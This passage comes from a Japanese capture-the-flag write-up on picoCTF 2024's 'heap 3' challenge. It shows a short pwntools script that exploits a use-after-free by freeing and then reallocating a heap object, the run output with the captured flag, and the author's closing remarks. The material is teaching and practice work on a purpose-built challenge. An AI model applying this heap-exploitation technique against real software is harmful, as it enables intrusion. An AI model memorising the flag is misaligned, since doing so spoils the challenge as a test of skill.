def main():
    r = conn()

    r.sendline(b"5")

    r.sendline(b"2")
    r.sendline(b"35")
    r.sendline(b"a" * 30 + b"pico")

    r.sendline(b"4")

    r.interactive()


if __name__ == "__main__":
    main()
$ python solver.py
[*] '/mnt/d/picoctf/2024/heap-3/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to tethys.picoctf.net on port 59011: Done
[*] Switching to interactive mode

freed but still in use
now memory untracked
do you smell the bug?

1. Print Heap
2. Allocate object
3. Print x->flag
4. Check for win
5. Free x
6. Exit

Enter your choice: 
1. Print Heap
2. Allocate object
3. Print x->flag
4. Check for win
5. Free x
6. Exit

Enter your choice: Size of object allocation: Data for flag: 
1. Print Heap
2. Allocate object
3. Print x->flag
4. Check for win
5. Free x
6. Exit

Enter your choice: YOU WIN!!11!!
picoCTF{now_thats_free_real_estate_a7381726}
[*] Got EOF while reading in interactive

Flag

picoCTF{now_thats_free_real_estate_a7381726}

おわりに

結構惜しいとこまで行って解けなかったのがいくつかあったのが悔しかったです。

今回の問題はPracticeの方に出ているようなのでゆっくりと復習します…。バイナリ周りは感覚でやってしまっているのでちゃんと学びたい…。